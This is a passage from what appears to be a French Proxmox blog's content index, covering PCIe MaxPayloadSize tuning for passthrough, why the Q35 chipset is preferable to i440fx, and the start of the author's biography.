haut débit, cette différence est mesurable. Pas spectaculaire. Mais réelle. Et c\u0026rsquo;est la même surcharge, payée sur chaque paquet.\nLe MPS influe aussi sur la façon dont le lien PCIe est utilisé. Des charges utiles plus petites font passer au lien plus de temps sur les en-têtes que sur les données. Des charges utiles plus grandes déplacent le rapport vers les données utiles.\nLa même charge utile de 4 Kio coûte 32 en-têtes de paquet à MPS 128 et 8 à MPS 512 MPS 128 — un transfert de 4 Kio devient 32 TLP 32 en-têtes × ≈24 o —\u0026#160;≈16 % des octets sur le fil sont de la surcharge MPS 512 — les mêmes 4 Kio deviennent 8 TLP 8 en-têtes × ≈24 o —\u0026#160;≈4 % des octets sur le fil sont de la surcharge en-tête, numéro de séquence, CRC et tramage charge utile Les deux bandes portent les mêmes 4 Kio. Une charge utile plus grande ne déplace pas plus de données — elle passe moins de temps à la décrire. Le gain mesuré est faible. Les deux bandes transportent les mêmes 4 Kio. Les barres pleines sont les en-têtes par paquet — à MPS 128 il y en a 32, à MPS 512 seulement 8. L\u0026rsquo;impact sur la latence est plus faible que sur le débit. Une seule lecture de 4 Kio à MPS 128 contre 512 ne montrera pas d\u0026rsquo;écart de latence digne d\u0026rsquo;être mesuré, parce que les TLP sont pipelinés. Mais poussez de forts IOPS avec beaucoup de transferts en vol et la surcharge moindre d\u0026rsquo;un MPS plus grand finit par compter.\nLe problème sous passthrough Sur du matériel nu, le BIOS règle le MPS pendant le POST en fonction de la topologie PCIe. Un BIOS serveur moderne règle en général le MPS au maximum que la topologie supporte, souvent 256 ou 512 octets.\nSous QEMU, le root complex du chipset Q35 virtuel a sa propre capacité MPS. Par défaut, il présente un MPS bas. La politique MPS par défaut du noyau Linux (pcie_bus_default) règle le MPS de chaque équipement sur celui de son pont parent, ce qui dans une topologie virtuelle veut dire la valeur par défaut du root complex de QEMU. Souvent 128 octets.\nDu coup, un équipement capable de charges utiles de 512 octets tourne à 128 parce que le root complex virtuel a fixé le plafond.\nLe MPS est fixé par le point le plus étroit du chemin, qui sous QEMU est le root complex virtuel Matériel nu — le BIOS règle le MPS d'après la topologie réelle NVMegère 512 Switch PCIeautorise 512 Root complexautorise 512 MPS = 512 o le plus petit du chemin Passé à une VM — le root complex virtuel est désormais le point le plus étroit NVMegère 512 Root complex virtuel QEMU Q35 présente 128 par défaut MPS = 128 o capacité de l'équipement inutilisée Noyau hôte avec\u0026#160;pci=pcie_bus_perf NVMegère 512 chaque équipement au maximum de son bus parent MRRS relevé en conséquence MPS = 512 o réglé sur l'hôte, pas sur l'invité Le MPS est la plus petite valeur du chemin. Passer un équipement en passthrough insère le root complex virtuel dans ce chemin, et sa valeur par défaut prudente devient le plafond de tout le monde. Comment corriger — côté hôte Dites au noyau de régler le MPS au maximum que le bus parent de chaque équipement supporte :\n# Add to GRUB_CMDLINE_LINUX_DEFAULT in /etc/default/grub pci=pcie_bus_perf Ceci règle le MPS de chaque équipement sur la plus grande valeur que son bus parent autorise. Ça règle aussi le MRRS (Max Read Request Size) en conséquence. Le source du noyau dit que ça garantit que le MPS d\u0026rsquo;un équipement ne dépasse pas celui de son parent. Ça garde la chaîne cohérente tout en obtenant les meilleures tailles de transfert.\nAprès redémarrage, vérifiez le nouveau MPS :\n# Check MPS on a specific device lspci -vv -s XX:00.0 | grep -i \u0026#34;MaxPayload\u0026#34; Vous devriez voir MaxPayload 256 bytes ou MaxPayload 512 bytes au lieu du 128 par défaut.\nLes autres options du noyau Le noyau propose quatre politiques MPS, chacune réglée par le paramètre de démarrage pci= :\npcie_bus_tune_off — ne pas toucher au MPS du tout. On garde ce que le BIOS a réglé. Sur du matériel nu avec un bon BIOS, c\u0026rsquo;est souvent très bien. Sous QEMU, le BIOS est OVMF ou SeaBIOS, qui n\u0026rsquo;optimisent pas forcément le MPS.\npcie_bus_default — la valeur par défaut du noyau. Règle le MPS de chaque équipement sur celui de son pont amont. Prudent et sûr, mais ne maximise pas les performances.\npcie_bus_safe — règle le MPS sur la plus grande valeur supportée par tous les équipements du système. Utile pour les systèmes fermés où vous connaissez tous les équipements et où rien ne sera branché à chaud. Un peu plus agressif que le défaut.\npcie_bus_perf — règle le MPS équipement par équipement sur la plus grande valeur que le bus parent autorise. Chaque équipement obtient le meilleur MPS que sa topologie locale supporte. C\u0026rsquo;est le bon choix pour le passthrough parce qu\u0026rsquo;il optimise chaque chemin indépendamment.\npcie_bus_peer2peer — règle le MPS à 128 octets sur tout. Tous les équipements se parlent à la plus petite taille commune. S\u0026rsquo;utilise quand des équipements doivent faire du DMA directement entre eux (GPU vers GPU, GPU vers carte réseau via RDMA). Sans intérêt pour un passthrough classique.\npcie_bus_perf est le bon pour le passthrough.\nComment corriger — côté invité Vous pouvez aussi mettre pci=pcie_bus_perf dans la configuration de démarrage du noyau invité. Que ça ait un effet pratique dépend de la façon dont QEMU présente la topologie PCIe virtuelle. Le root complex virtuel plafonne ce que l\u0026rsquo;invité peut négocier.\nÀ l\u0026rsquo;usage, c\u0026rsquo;est la correction côté hôte qui tient. L\u0026rsquo;hôte possède l\u0026rsquo;équipement physique, et son réglage MPS fixe la taille réelle des TLP sur le fil. Le réglage de l\u0026rsquo;invité ne touche que la topologie virtuelle dans la VM, et savoir si ça change le comportement réel dépend de la façon dont QEMU présente le chemin PCIe pour cet équipement.\nRéglez-le sur l\u0026rsquo;hôte. Le régler aussi dans l\u0026rsquo;invité ne fera pas de mal, mais ne comptez pas dessus seul.\nCe qu\u0026rsquo;est le MRRS La Max Read Request Size (MRRS) est liée mais distincte. Le MPS limite la quantité de données qu\u0026rsquo;un équipement peut envoyer dans un TLP. Le MRRS limite la quantité de données qu\u0026rsquo;un équipement peut demander dans une requête de lecture.\nUn équipement avec un MRRS de 4096 peut émettre une seule requête de lecture de 4 Kio. La réponse revient en plusieurs TLP, chacun d\u0026rsquo;au plus la taille du MPS. Un MRRS plus élevé veut dire que l\u0026rsquo;équipement peut demander plus de données par transaction, ce qui réduit le nombre de TLP de requête de lecture sur le bus.\nLe MRRS dimensionne la requête, le MPS dimensionne chaque paquet de la réponse Contrôleur NVMe MRRS 4096 o mémoire hôte via le root complex 1 × requête de lecture — « envoie-moi 4 Kio » Le MRRS plafonne ce qu'une requête peut demander 8 × TLP d'achèvement — 512 o chacun Le MPS plafonne la taille de chaque paquet de la réponse Une requête, beaucoup de paquets.\u0026#160;pci=pcie_bus_perf\u0026#160;relève les deux, inutile de les régler séparément. Les deux sont faciles à confondre : le MRRS limite ce qu\u0026rsquo;un équipement peut demander en une requête, le MPS limite la taille de chaque paquet de la réponse. pci=pcie_bus_perf règle à la fois le MPS et le MRRS à leurs valeurs optimales. Vous n\u0026rsquo;avez pas besoin de les régler séparément.\nFace aux autres réglages L\u0026rsquo;écart de MPS entre 128 et 512 octets a moins d\u0026rsquo;impact sur les performances que l\u0026rsquo;alignement NUMA ou l\u0026rsquo;ASPM. C\u0026rsquo;est typiquement une amélioration de débit de quelques pour cent. Vous ne le verrez pas dans des tests de latence à faible profondeur de file.\nMais c\u0026rsquo;est une optimisation gratuite. Un paramètre noyau, aucun inconvénient, aucun risque de compatibilité. Il n\u0026rsquo;y a aucune raison de ne pas le régler sur un système qui fait du passthrough.\nÇa ne coûte rien, et vous avez déjà payé le matériel. Autant avoir ce que vous avez acheté.\nRéférences Kconfig PCI du noyau Linux — options de réglage MPS et MRRS — source faisant autorité pour les quatre politiques MPS Linux Plumbers Conference 2017 — MPS contre MRRS (PDF) — la présentation de Sinan Kaya sur la gestion MPS/MRRS dans le noyau ","permalink":"https://blogs.damiendye.uk/fr/proxmox/pcie-maxpayloadsize/","summary":"Le root complex virtuel de QEMU se rabat par défaut sur des charges utiles TLP de 128 octets. La plupart des équipements gèrent 256 ou 512. Un seul paramètre noyau corrige ça.","title":"PCIe MaxPayloadSize — un gain de performance gratuit pour le passthrough"},{"content":"i440fx et Q35, qu\u0026rsquo;est-ce que c\u0026rsquo;est ? Toute machine virtuelle QEMU a un chipset virtuel. Il définit toute la carte mère virtuelle — la topologie du bus PCI/PCIe, le southbridge, le contrôleur d\u0026rsquo;interruptions, ce que le système invité voit quand il énumère le matériel au démarrage.\nQEMU offre deux choix : i440fx et Q35.\ni440fx émule l\u0026rsquo;Intel 440FX — nom de code Natoma, sorti en 1996 comme chipset du Pentium Pro puis, plus tard, du Pentium II. Il présente un bus PCI plat sans prise en charge native du PCIe. C\u0026rsquo;était le type de machine QEMU d\u0026rsquo;origine et il est resté longtemps le défaut. Belle carrière pour un chipset conçu pour le Pentium Pro.\nQ35 émule l\u0026rsquo;Intel Q35 Express, sorti en juin 2007 pour la génération Core 2, associé au southbridge ICH9. Il donne à l\u0026rsquo;invité un vrai root complex PCIe et un contrôleur d\u0026rsquo;interruptions moderne. Les équipements passés en passthrough apparaissent comme de vrais équipements PCIe, avec la bonne topologie.\nLes deux sont virtuels. Ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;affecte le matériel réel qu\u0026rsquo;utilise l\u0026rsquo;hôte. La différence, c\u0026rsquo;est ce que voit le système invité.\nLe bus PCI plat d'i440fx face au root complex PCIe de Q35 i440fx — un seul bus PCI plat Intel 440FX « Natoma » — Pentium Pro / Pentium II, 1996 vCPU bus PCI 0 NVMeen PCI hérité NIC INTx seulement IDE hérité Audiofactice MSI-X indisponible — interruptions INTx seulement Pas d'AER — erreurs PCIe invisibles pour l'invité Pas d'ACS — isolation IOMMU plus faible Un bus partagé — un seul groupe IOMMU Q35 — root complex PCIe Intel Q35 Express + ICH9 — époque Core 2, juin 2007 vCPU root complex PCIe root port root port root port NVMeMSI-X NIC multi-file GPU AER + ACS MSI-X — un vecteur d'interruption par file AER — l'invité voit et traite les erreurs PCIe ACS — DMA pair-à-pair contrôlé Chaque slot peut avoir son propre groupe IOMMU Toutes les différences qui suivent viennent de là : i440fx accroche chaque équipement à un seul bus partagé, tandis que Q35 donne à chaque connecteur son propre port racine sous un root complex PCIe. Pourquoi Q35 compte pour le passthrough Les équipements passés à une VM i440fx apparaissent comme des équipements PCI hérités, quels qu\u0026rsquo;ils soient réellement. L\u0026rsquo;invité les voit comme des « équipements PCI très rapides » plutôt que comme des équipements PCIe. Certains pilotes s\u0026rsquo;en accommodent très bien. D\u0026rsquo;autres attendent du PCIe et se comportent mal, ou refusent de se charger quand ils n\u0026rsquo;en trouvent pas.\nLe root complex PCIe de Q35 change le tableau de plusieurs façons.\nMSI-X MSI-X (Message Signalled Interrupts — Extended) exige du PCIe. Sous i440fx, MSI-X se rabat sur les interruptions INTx héritées ou ne fonctionne pas du tout.\nÇa compte énormément pour le NVMe. Les contrôleurs NVMe s\u0026rsquo;appuient sur MSI-X pour leur architecture multi-files. Chaque paire de files d\u0026rsquo;E/S obtient son propre vecteur d\u0026rsquo;interruption. Sans MSI-X, tous les achèvements d\u0026rsquo;E/S passent par une seule interruption, ce qui crée un goulot d\u0026rsquo;étranglement à fort IOPS.\nÇa compte aussi pour les cartes réseau et les GPU modernes. Tout équipement qui utilise plusieurs vecteurs d\u0026rsquo;interruption pour répartir la charge sur les cœurs CPU a besoin de MSI-X.\nINTx fait passer chaque achèvement NVMe par une seule interruption ; MSI-X donne à chaque file son propre vecteur i440fx — INTx : une seule ligne pour toutes les files file 0 file 1 file 2 file 3 1 × INTx vCPU 0 les achèvements se sérialisent — un plafond à IOPS élevés Q35 — MSI-X : un vecteur par file file 0 file 1 file 2 file 3 4 × vecteurs MSI-X vCPU 0 vCPU 1 vCPU 2 vCPU 3 chaque file s'achève sur son propre cœur Avec INTx, les achèvements de toutes les files arrivent sur une seule ligne d\u0026rsquo;interruption et atterrissent sur un seul vCPU. Avec MSI-X, chaque file porte son propre vecteur et s\u0026rsquo;achève sur son propre cœur. AER (Advanced Error Reporting) L\u0026rsquo;AER PCIe permet à l\u0026rsquo;invité de détecter et de traiter correctement les erreurs d\u0026rsquo;équipement plutôt que d\u0026rsquo;échouer en silence. Sous i440fx, l\u0026rsquo;invité n\u0026rsquo;a aucune visibilité sur les erreurs de niveau PCIe.\nPour une charge de production avec un équipement en passthrough, avaler les erreurs en silence est un problème. L\u0026rsquo;AER donne au pilote invité la capacité de journaliser, de signaler et parfois de récupérer d\u0026rsquo;erreurs matérielles qui passeraient autrement inaperçues jusqu\u0026rsquo;à ce que des données soient corrompues.\nACS (Access Control Services) L\u0026rsquo;ACS contrôle le DMA pair-à-pair entre équipements du même bus. Il fait partie du modèle d\u0026rsquo;isolation de l\u0026rsquo;IOMMU. Il empêche un équipement de faire du DMA dans l\u0026rsquo;espace mémoire d\u0026rsquo;un autre sans passer par l\u0026rsquo;IOMMU.\nSous i440fx, la topologie de bus virtuelle ne prend pas du tout en charge l\u0026rsquo;ACS. Ça ne casse pas le passthrough de base, mais ça affaiblit l\u0026rsquo;isolation que l\u0026rsquo;IOMMU est censée vous donner.\nPrésentation des groupes IOMMU La hiérarchie PCIe de Q35 fait que chaque connecteur virtuel peut siéger dans son propre groupe IOMMU au sein de l\u0026rsquo;invité. i440fx entasse tout sur un bus partagé, ce qui rend la configuration IOMMU côté invité problématique.\nC\u0026rsquo;est pertinent pour la virtualisation imbriquée, où l\u0026rsquo;invité a lui-même besoin de groupes IOMMU propres. C\u0026rsquo;est pertinent aussi pour la vIOMMU, qui n\u0026rsquo;est disponible que sur Q35.\nvIOMMU Si vous avez besoin que l\u0026rsquo;invité dispose lui-même d\u0026rsquo;une capacité IOMMU — pour du passthrough imbriqué, pour DPDK ou pour certaines configurations de sécurité — cela exige le type de machine Q35.\nL\u0026rsquo;émulation vIOMMU permet à l\u0026rsquo;invité de faire tourner sa propre IOMMU, ce qui est utile pour :\nle passthrough en VM imbriquée (une VM dans une VM avec accès aux équipements) le réseau en espace utilisateur DPDK, où l\u0026rsquo;application a besoin de la protection IOMMU les configurations de sécurité qui exigent une isolation DMA à l\u0026rsquo;intérieur de l\u0026rsquo;invité Pourquoi Q35 compte au-delà du passthrough Même si vous ne faites pas de passthrough, Q35 est le meilleur choix pour les charges modernes.\nMicrologiciel OVMF (UEFI) La combinaison Q35 et OVMF donne à l\u0026rsquo;invité un environnement de démarrage UEFI moderne avec prise en charge du Secure Boot. i440fx peut utiliser OVMF, mais la combinaison est moins bien testée et certaines fonctions ne marchent pas correctement.\nWindows 11 exige l\u0026rsquo;UEFI avec Secure Boot. Les prérequis matériels de Microsoft l\u0026rsquo;imposent. Windows Server 2025 fonctionne au mieux avec l\u0026rsquo;UEFI. Q35 avec OVMF est le chemin pris en charge pour les deux.\nSi vous faites tourner une VM Windows 11 ou Server 2025 sur i440fx avec SeaBIOS, vous ramez à contre-courant. Ça marche peut-être aujourd\u0026rsquo;hui. Ce n\u0026rsquo;est pas là que va l\u0026rsquo;écosystème.\nAHCI Q35 inclut une émulation AHCI (Advanced Host Controller Interface) native via le southbridge ICH9. i440fx utilise l\u0026rsquo;émulation IDE ou LSI SCSI, plus ancienne, pour les disques de démarrage.\nPour du stockage VirtIO, ça ne change rien. VirtIO contourne entièrement le contrôleur de stockage du chipset. Mais si vous utilisez l\u0026rsquo;émulation SATA pour un système invité qui n\u0026rsquo;a pas les pilotes VirtIO au moment de l\u0026rsquo;installation, l\u0026rsquo;AHCI de Q35 est bien plus rapide que l\u0026rsquo;IDE d\u0026rsquo;i440fx.\nIDE piège chaque accès registre ; AHCI construit les commandes en RAM invitée et sonne une seule cloche frontière hôte / hyperviseur — chaque passage coûte un VM exit i440fx — IDE : chaque accès registre piège pilote IDE dans l'invité I/O sur port, un accès à la fois 5 × VM exit pour émettre une commande PIIX3 IDE 1 commande en vol Pas de NCQ — la commande suivante attend la fin de la précédente IRQ 14/15, INTx déclenché par niveau — d'autres exits pour masquer et acquitter Q35 — AHCI : construit en RAM, une seule cloche pilote AHCI dans l'invité liste de commandes en RAM invitée — gratuit 1 × VM exit AHCI HBA (ICH9) jusqu'à 32 en file (NCQ) Les commandes en file s'achèvent dans le désordre — le disque réordonne pour limiter les déplacements MSI-X — aucune ligne partagée à identifier, aucun aller-retour EOI L\u0026rsquo;IDE se programme registre par registre via des ports d\u0026rsquo;E/S hérités, et chaque accès est piégé par l\u0026rsquo;hôte. L\u0026rsquo;AHCI laisse l\u0026rsquo;invité construire la commande dans sa propre mémoire et sonner une seule sonnette. La surcharge qu\u0026rsquo;i440fx porte et que Q35 n\u0026rsquo;a pas L\u0026rsquo;écart AHCI ne tient pas seulement à ce qu\u0026rsquo;un contrôleur soit plus récent. C\u0026rsquo;est qu\u0026rsquo;i440fx fait payer l\u0026rsquo;hyperviseur à l\u0026rsquo;invité à presque chaque interaction, et que Q35 ne le fait pas, pour l\u0026rsquo;essentiel.\nAccès registre piégés. L\u0026rsquo;IDE se programme via les ports d\u0026rsquo;E/S x86 hérités. L\u0026rsquo;invité écrit le nombre de secteurs, puis les registres LBA, puis le registre de commande. Chaque écriture touche un port distinct. Chacun de ces accès est piégé et émulé par l\u0026rsquo;hôte, et chaque piège est une sortie de VM qui coûte quelques microsecondes. Émettre une seule commande IDE coûte donc plusieurs sorties avant qu\u0026rsquo;une seule donnée ne bouge.\nL\u0026rsquo;AHCI fonctionne à l\u0026rsquo;envers. L\u0026rsquo;invité construit une table de commandes dans sa propre RAM — aucun piège, puisqu\u0026rsquo;il ne fait qu\u0026rsquo;écrire en mémoire — puis fait une seule écriture MMIO dans un registre de sonnette pour dire au contrôleur d\u0026rsquo;aller la chercher. Une commande coûte à peu près une sortie au lieu de cinq ou six.\nPas de file de commandes. L\u0026rsquo;IDE émet une commande et attend qu\u0026rsquo;elle finisse. L\u0026rsquo;AHCI prend en charge le NCQ, donc jusqu\u0026rsquo;à 32 commandes peuvent être en cours, et le disque est libre de les terminer dans le désordre pour réduire les déplacements de tête. Ainsi, le coût par commande qui reste se répartit sur une file au lieu d\u0026rsquo;être payé une par une.\nLe chemin d\u0026rsquo;interruption hérité. Le contrôleur IDE PIIX3 signale l\u0026rsquo;achèvement sur les IRQ héritées fixes 14 et 15, livrées en INTx déclenché par niveau. Une interruption par niveau doit être acquittée puis démasquée, et comme les lignes INTx sont partagées, l\u0026rsquo;invité doit en plus trouver quel équipement l\u0026rsquo;a levée. Chacune de ces étapes est un piège de plus. MSI-X, qui exige Q35, est une simple écriture en mémoire, sans ligne partagée à identifier ni aller-retour d\u0026rsquo;acquittement. Sur du matériel à interruptions postées, elle peut atteindre l\u0026rsquo;invité sans aucune sortie.\nUne surface d\u0026rsquo;équipements hérités plus large. i440fx présente toujours ses équipements de plateforme hérités, contrôleur IDE compris, que la VM s\u0026rsquo;en serve ou non. Ils occupent des connecteurs PCI, ils sont énumérés et sondés à chaque démarrage, et des pilotes invités peuvent les interroger en boucle. Q35 présente un jeu plus réduit et plus moderne. Moins à porter pour l\u0026rsquo;hôte, moins à parcourir pour l\u0026rsquo;invité.\nRien de tout cela n\u0026rsquo;apparaît dans une VM adossée à VirtIO, et c\u0026rsquo;est pour ça que la différence est facile à manquer. Ça compte pendant l\u0026rsquo;installation, sur les images d\u0026rsquo;appliance sans pilotes VirtIO, et sur tout invité qui utilise encore du SATA ou de l\u0026rsquo;IDE émulé pour son disque de démarrage.\nMoins d\u0026rsquo;équipements virtuels, une topologie plus propre i440fx arrive avec du matériel virtuel hérité que Q35 laisse tomber. Une carte son factice. Un contrôleur IDE hérité. Ni l\u0026rsquo;un ni l\u0026rsquo;autre ne sert à rien, mais tous deux brûlent des connecteurs PCI virtuels et peuvent perturber des logiciels invités qui essaient de s\u0026rsquo;en servir.\nQ35 présente un jeu de matériel virtuel plus propre, qui ressemble davantage à ce qu\u0026rsquo;exposerait un serveur physique moderne.\nQ35 jette les vieux équipements de plateforme qu'i440fx garde dans des slots PCI virtuels i440fx de vieux équipements occupent les slots Vieux contrôleur IDE Contrôleur de disquette (FDC) Vieilles fonctions PIIX3 Autres vieux équipements de plateforme libre libre remplacé par AHCI jeté par Q35 Q35 moins d'équipements, des slots restants ICH9 AHCI (SATA) root ports PCIe libre pour un NVMe passé en direct libre pour une NIC libre pour un GPU libre Le contrôleur IDE hérité est remplacé plutôt que supprimé — tout le reste va à la poubelle, ce qui libère des connecteurs pour les équipements que vous voulez vraiment passer. Le sens de l\u0026rsquo;histoire RHEL 10 a déprécié i440fx Red Hat a formellement déprécié le type de machine i440fx dans RHEL 10. Ça indique le sens de l\u0026rsquo;histoire pour tout l\u0026rsquo;écosystème KVM. Quand Red Hat déprécie quelque chose, cela veut dire qu\u0026rsquo;ils ont cessé de le tester comme un chemin de premier plan et qu\u0026rsquo;ils ne corrigeront pas les bogues qui s\u0026rsquo;y rattachent.\nLe projet QEMU en amont discute de la dépréciation d\u0026rsquo;i440fx depuis des années. Le consensus est que maintenir deux chemins de chipset est un fardeau. Q35 est celui qui correspond au matériel moderne.\nProxmox n\u0026rsquo;a pas suivi Proxmox VE crée toujours les nouvelles VM en i440fx. Le type de machine dans l\u0026rsquo;assistant de création affiche « Default (i440fx) », et il le reste tant que vous n\u0026rsquo;y touchez pas. Q35 est à une liste déroulante de là, mais c\u0026rsquo;est un choix que vous devez faire délibérément, sur chaque VM que vous construisez.\nC\u0026rsquo;est toute la raison d\u0026rsquo;être de cet article. Le défaut est le chipset de 1996, et rien dans l\u0026rsquo;assistant ne vous dit que le choix compte.\nBasculer une VM existante Si vous avez une VM existante en i440fx, vous pouvez passer à Q35 dans les paramètres matériels ou directement dans la configuration :\nmachine: q35 C\u0026rsquo;est en pratique un changement de carte mère virtuelle. Du matériel différent au prochain démarrage.\nLinux gère ça en général sans souci. Le noyau ré-énumère les équipements et charge les bons pilotes. Les noms d\u0026rsquo;interface changeront parce que la carte réseau virtuelle passe d\u0026rsquo;un bus PCI à un bus PCIe. Si votre configuration réseau les nomme (par exemple eth0, ens18), mettez-la à jour avant de redémarrer, sinon vous perdez l\u0026rsquo;accès réseau.\nWindows est moins indulgent. Le changement de chipset implique des identifiants matériels virtuels différents pour le contrôleur de stockage, la carte réseau et d\u0026rsquo;autres équipements de plateforme. Windows peut avoir besoin d\u0026rsquo;une réinstallation de pilotes. Dans certains cas, une installation neuve est le chemin le plus propre. Les Windows anciens sont les fautifs habituels.\nFreeBSD et ses dérivés (OPNsense, pfSense) encaissent en général le changement, mais testez d\u0026rsquo;abord.\nDans tous les cas, testez sur une VM hors production avant de basculer quoi que ce soit qui compte.\nQuand i440fx est encore nécessaire Une poignée de cas exigent encore i440fx.\nLes systèmes invités hérités antérieurs à l\u0026rsquo;UEFI — Windows XP, Windows 2000 et de ce millésime — peuvent ne pas démarrer sous Q35. Ces systèmes attendent la topologie PCI héritée et le SeaBIOS que fournit i440fx.\nCertaines images d\u0026rsquo;appliance sont construites et testées exclusivement contre i440fx. Si l\u0026rsquo;éditeur ne prend en charge qu\u0026rsquo;i440fx, c\u0026rsquo;est ce que vous utilisez jusqu\u0026rsquo;à ce qu\u0026rsquo;il mette à jour.\nPour tout le reste — nouvelles VM Linux, Windows modernes, toute charge avec passthrough — utilisez Q35. Il n\u0026rsquo;y a rien à gagner à s\u0026rsquo;accrocher par habitude à un chipset de 1996.\nRéférences Wiki Proxmox VE — passthrough PCI(e) — la documentation officielle de Proxmox, qui indique Q35 comme type de machine recommandé pour le passthrough Spécification du chipset QEMU Q35 (PDF) — le document de conception QEMU d\u0026rsquo;origine pour Q35 Forum Proxmox — discussion Q35 contre i440fx — la discussion communautaire sur les différences pratiques ","permalink":"https://blogs.damiendye.uk/fr/proxmox/q35-not-i440fx/","summary":"Les deux chipsets virtuels de QEMU ne sont pas interchangeables. Q35 fournit une vraie topologie PCIe dont dépendent le passthrough, les Windows modernes et tout l\u0026rsquo;écosystème KVM.","title":"Toujours Q35, jamais i440fx — pourquoi ça compte sur Proxmox VE"},{"content":"Je suis Damien Dye.\nIngénieur avant-vente pour l\u0026rsquo;Europe et l\u0026rsquo;APAC chez croit GmbH, membre fondateur de la Ceph Foundation et Proxmox Gold Partner officiel.\nUne bonne vingtaine d\u0026rsquo;années en ont été la part rémunérée : plateformes Microsoft, Linux, applications d\u0026rsquo;entreprise, virtualisation, réseau, stockage et sécurité. La part rémunérée n\u0026rsquo;est pas le tout. Je construis des choses et je les casse depuis le milieu des années quatre-vingt-dix, et je fais tourner Linux sérieusement depuis 1999, des années avant que quiconque juge cela digne d\u0026rsquo;être payé, et je compte ces années-là parce qu\u0026rsquo;on apprend autant sur du matériel qui est à soi que sur du matériel assuré par quelqu\u0026rsquo;un d\u0026rsquo;autre.\nSouth Yorkshire, alors vous l\u0026rsquo;aurez sans détour. Si quelque chose fonctionne, je vous dirai pourquoi. Si ça ne fonctionne pas, je vous le dirai aussi, et plutôt avant que vous ayez dépensé l\u0026rsquo;argent qu\u0026rsquo;après.\nLes premières années Je démonte des ordinateurs depuis mes huit ans. Ma première machine a été un Atari STfm avec 512 K de mémoire.\nMon premier PC est arrivé à douze ans, sous Windows 3.11, et de là j\u0026rsquo;ai fait toute la série : 95, 95b, 95c, 98, 98SE puis Windows 2000.\nCe n\u0026rsquo;était pas utiliser un logiciel. C\u0026rsquo;était comprendre ce qui changeait d\u0026rsquo;une version à la suivante, ce qui cassait en chemin, et comment faire tourner un truc qui avait décidé qu\u0026rsquo;il préférait s\u0026rsquo;abstenir.\nLE PARCOURS WINDOWS — 3.11 \u0026#8594; 10 3.11 95 98 2000 XP XP64 bits Vista64 bits 764 bits 8.1 10 Ma première connexion internet a été un modem 56k chez Freeserve — un des premiers fournisseurs gratuits du Royaume-Uni. Je suis passé à l\u0026rsquo;ADSL dès sa disponibilité en 2001, chez Demon Internet. Puis au VDSL en 2008, et enfin à la fibre chez Zen Internet en 2017 — c\u0026rsquo;est là qu\u0026rsquo;est arrivé l\u0026rsquo;IPv6 natif. C\u0026rsquo;est là que tout a commencé côté réseau, et il y a loin de là aux fabrics 100GbE que je conçois aujourd\u0026rsquo;hui. Mais la curiosité était la même.\nLe réseau local a commencé encore plus tôt, et plus rudement. Mon premier LAN était en 10BASE2 — câble coaxial fin, connecteurs BNC et un bouchon 50 ohms à chaque bout, toutes les machines partageant un même bus à 10 Mbit. J\u0026rsquo;ai fait dialoguer deux PC dessus, puis j\u0026rsquo;ai ajouté un concentrateur à 5 ports quand d\u0026rsquo;autres machines sont arrivées. Ce concentrateur est devenu un commutateur — un vrai progrès, chaque port ayant son propre domaine de collision au lieu que tout se dispute un coaxial partagé. Le sans-fil est venu ensuite, dès que c\u0026rsquo;est devenu abordable : 802.11b à 11 Mbit, sur des cartes PCMCIA Orinoco Gold dans les portables. Bus coaxial, concentrateur partagé, Ethernet commuté, Wi-Fi — j\u0026rsquo;ai fait chaque étape à la main.\nJ\u0026rsquo;ai aussi construit des installations Windows XP entièrement sans surveillance. Elles utilisaient les vieux DriverPacks pour l\u0026rsquo;injection de pilotes et des scripts maison pour l\u0026rsquo;installation automatique des applications. On passait de la machine nue au système entièrement configuré sans toucher au clavier. C\u0026rsquo;était de la pensée automatisation des années avant que j\u0026rsquo;entende parler d\u0026rsquo;Ansible — et c\u0026rsquo;était sous Windows, pas sous Linux.\nTrouver Linux J\u0026rsquo;ai commencé Linux à quinze ans, sur SuSE 6. Je suis allé droit vers les distributions qui obligent à comprendre ce qui se passe en dessous.\nPendant les vacances de Noël 2001, j\u0026rsquo;ai construit un système complet avec le livre Linux From Scratch. Chaque paquet compilé à la main. Chaque dépendance comprise. Chaque décision de configuration prise délibérément.\nEn 2002 j\u0026rsquo;étais passé à Gentoo. Gentoo repose sur le même principe : vous construisez tout le système depuis les sources, vous comprenez ce que fait chaque drapeau USE, et quand quelque chose casse vous savez exactement où regarder.\nLINUX — LE PARCOURS DES DISTRIBUTIONS SuSE6–7.2 Mandrake Gentoo Ubuntu RHEL Fedora Explorer d\u0026rsquo;autres plateformes Je ne me suis jamais tenu à une seule architecture.\nJ\u0026rsquo;ai eu un système DEC Alpha de 2001 à 2007. L\u0026rsquo;Alpha était le processeur RISC 64 bits de Digital Equipment Corporation, lancé en 1992 — une vraie machine 64 bits plus de dix ans avant que le x86 rattrape avec AMD64 en 2003. Elle faisait tourner Tru64 UNIX, OpenVMS, Windows NT et Linux, et pendant un temps c\u0026rsquo;était à peu près la chose la plus rapide qu\u0026rsquo;on pouvait poser sur un bureau. Grâce aux discussions de la communauté, j\u0026rsquo;y ai fait fonctionner l\u0026rsquo;USB et le FireWire. J\u0026rsquo;ai même monté un adaptateur PCMCIA vers ISA à l\u0026rsquo;arrière, pour que les mêmes cartes PC que j\u0026rsquo;utilisais dans les portables — l\u0026rsquo;Orinoco Gold parmi elles — tournent dans l\u0026rsquo;Alpha de bureau. Pas rien, sur une plateforme où rien n\u0026rsquo;était garanti fonctionner.\nJ\u0026rsquo;ai tâté de BeOS. Il abordait le multithreading et le multimédia d\u0026rsquo;une façon complètement différente de tout le reste à l\u0026rsquo;époque.\nÀ l\u0026rsquo;université, un copain et moi avons récupéré des stations Sun SPARC mises au rebut et y avons construit Gentoo. SPARC était l\u0026rsquo;architecture RISC de Sun Microsystems, introduite en 1987 — le moteur des stations et serveurs Sun qui ont porté une grande part du monde Unix dans les années quatre-vingt-dix, en général sous Solaris. Faire tourner un Linux compilé depuis les sources sur ce matériel, c\u0026rsquo;était tout l\u0026rsquo;intérêt. Parce que pourquoi pas, si le matériel est là et qu\u0026rsquo;on veut voir si ça marche.\nJ\u0026rsquo;ai aussi construit et travaillé avec Linux sur ARM et ARM64, sur des Raspberry Pi et des Odroid. Et j\u0026rsquo;ai fait tourner Windows sur ARM64.\nFaites tourner le même système d\u0026rsquo;exploitation sur x86, Alpha, SPARC, ARM et ARM64 et les hypothèses faites sur l\u0026rsquo;un ne vous suivent pas sur le suivant — ordre des octets, alignement, taille des pages, prise en charge des pilotes et bizarreries de la chaîne de compilation bougent tous sous vos pieds. Cela compte plus que jamais maintenant 